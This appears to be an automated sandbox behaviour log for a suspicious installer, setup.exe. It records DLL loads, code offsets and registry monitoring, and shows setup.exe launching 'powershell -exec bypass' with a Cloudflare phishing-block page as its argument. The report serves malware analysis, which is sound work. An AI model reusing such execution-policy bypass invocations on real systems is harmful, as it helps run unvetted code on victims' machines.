Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: : i.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: setup.exe

Static file information: File size 74567204 > 1048576

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2368450658.000000000335A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdblq source: powershell.exe, 00000003.00000002.2382410682.00000000088A8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="7hyQL7q5CobImDmxFKBooYHwB7YP8UpEiGhRamQe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="7hyQL7q5CobImDmxFKBooYHwB7YP8UpEiGhRamQe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0072BFA4 push eax; retf 0071h	0_3_0072BFA5
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0072BFA4 push eax; retf 0071h	0_3_0072BFA5
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0072BFA4 push eax; retf 0071h	0_3_0072BFA5
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0072BFA4 push eax; retf 0071h	0_3_0072BFA5
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_006E3255 push ss; retf	0_3_006E325C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_006E3255 push ss; retf	0_3_006E325C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0074321C push esi; retf	0_3_0074321F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_00744DE4 push eax; iretd	0_3_00744F1D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_007428A4 push esi; retf	0_3_007428A7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_006E3255 push ss; retf	0_3_006E325C

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
